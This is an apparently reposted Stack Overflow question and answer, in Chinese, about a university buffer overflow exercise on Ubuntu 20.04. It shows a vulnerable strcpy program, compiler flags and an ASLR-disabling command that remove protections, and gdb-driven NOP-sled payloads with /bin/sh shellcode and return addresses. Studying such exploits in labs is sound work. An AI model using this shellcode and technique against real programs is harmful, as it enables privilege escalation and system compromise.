gpt4 book ai didi

c - 缓冲区溢出攻击在 Ubuntu 20.04 上不起作用

转载 作者:行者123 更新时间:2023-12-04 18:26:31 25 4
gpt4 key购买 nike

我正在尝试对一个简单的 C 程序进行缓冲区溢出攻击,该程序需要一个缓冲区并打印它。我尝试了很多组合,但最后,当我尝试执行我的 shellcode 时,我总是得到段错误。

我主要遵循本教程:

How to exploit a buffer overflow vulnerability - Practical

不同之处在于我也尝试在 m64 中编译程序,因为当我在 m32 中编译时,我的内存地址都不同,我试图解释我的步骤,但如果他们不清楚,你可以看视频,因为我'已经遵循相同的程序。

我用来尝试攻击的代码是

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}

我以这种方式编译代码:
gcc -o example -fno-stack-protector -m64 -z execstack example.c 

我也试过用 m32 编译它,但正如我之前所说,但我用 gdb 反汇编 main 后的结果与教程完全不同,另一方面,当我用 m64 编译它时,它们非常相似,所以更容易跟随。

编译并打开 gdb 后,我反汇编程序的主体并查找 strcpy 调用。我在 strcpy 调用之后立即选择其中一个地址,并在该地址中设置一个断点。

在此之后我运行python代码
run $(python -c "print('A'*256)")

然后我在运行这个命令后检查程序的内容,它打印出 256 As。我用命令检查它
x/200xb $esp

我现在可以在内存中看到我的“AAA ..”序列开始的确切地址,我将它写在一篇论文中,然后再次运行我的 python 代码以了解它在段错误状态下的值。

一旦找到 Seg Fault 条件,我只需运行以下命令:
run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xcf\xff\xff')")

在哪里 :
  • 222 只是我需要到达段错误的\x90 数减去我的 shellcode 的大小(即 46 字节)
  • 最后一个 '\x94\xcf\xff\xff' 是我之前在一篇论文中写的地址,当时我检查了内存中的 'AAAA' 序列并查看了它的开始位置,当然当我使用 m64 编译程序时,这个地址是更长

  • 此时,当我运行命令时,shellcode 应该被执行但它没有发生,它总是说 Segmentation Fault。

    当然我也用命令禁用了 aslr
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

    抱歉,如果我的解释很困惑,我已经尝试了所有不同的可能性,但我从来没有得到正确的结果。 (当然要更改一些标志,m64,m32 并使用最后一个命令的值进行一点操作)。

    在此先感谢,我真的希望你能帮助我,因为我需要为大学作业解决这个问题

    最佳答案

    我认为您的错误在于退货地址:

    run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xfc\xff\xbf')")

    而不是 0xffffcf94 (在 m32 处)使用 0xbffffc94 .

    也许这是错误的,因为你看的视频真的很老了,很多东西都变了,直到今天

    要对其进行测试,请在主函数的返回指令处设置断点并键入 info registers到 gdb 看看 esp 的值是多少(堆栈指针)

    如果不是这种情况,那么可能你的 shellcode 对于 ubuntu 20.04 来说太旧了,或者你在 x86 可执行文件中使用了 x64 shellcode

    尝试添加 \xcc在您的 shellcode 的开头测试您的 shellcode 是否损坏并导致 SIGSEGV信号

    我也尝试自己开发一个 POC,它是:

    image
    run $(python -c 'print "\x90"*255 + "\xcc" + "aaaabbbbcccc" + "\x68\xfb\xff\xbf"')

    在哪里 \x90 * 255是 255 nop确保我们将降落在陷阱 \xcc 上的说明. aaaabbbbcccc是我用来到达 eip 和 0xbffffb68 的一些垃圾是堆栈的返回地址。

    关于c - 缓冲区溢出攻击在 Ubuntu 20.04 上不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/61762958/

    25 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com